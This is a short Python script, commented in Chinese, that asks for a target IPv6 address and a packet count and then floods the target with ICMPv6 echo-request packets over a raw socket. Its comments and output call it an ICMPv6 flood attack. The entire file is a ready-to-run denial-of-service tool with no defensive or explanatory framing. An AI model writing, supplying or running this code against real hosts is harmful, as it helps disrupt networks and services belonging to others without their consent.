import os
import sys
import socket
import struct
import random

def send_icmpv6_packet(target_ip, packet_count):
    try:
        # 创建原始套接字
        sock = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)

        # 准备ICMPv6数据包
        icmpv6_packet = b'\x80\x00\x00\x00\x00\x00\x00\x00'

        # 将ICMPv6数据包发送到目标IP地址
        for _ in range(packet_count):
            sock.sendto(icmpv6_packet, (target_ip, 0))
            print("发送 ICMPv6 数据包到", target_ip)

        print("攻击完成")
    except PermissionError:
        print("\033[1;31;40m[*]权限不足，请以root权限或具有特定权限的用户身份运行脚本")
        print("\033[1;37;40m")
    except Exception as e:
        print("\033[1;31;40m[*]发生错误:", e)
        print("\033[1;37;40m")

if __name__ == "__main__":
    try:
        # 获取用户输入的目标IP地址和要发送的数据包数量
        target_ip = input("请输入目标IPv6地址：")
        packet_count = int(input("请输入要发送的ICMPv6数据包数量："))

        # 执行ICMPv6 Flood攻击
        send_icmpv6_packet(target_ip, packet_count)
    except KeyboardInterrupt:
        print("用户中断程序")
    except Exception as e:
        print("发生错误:", e)
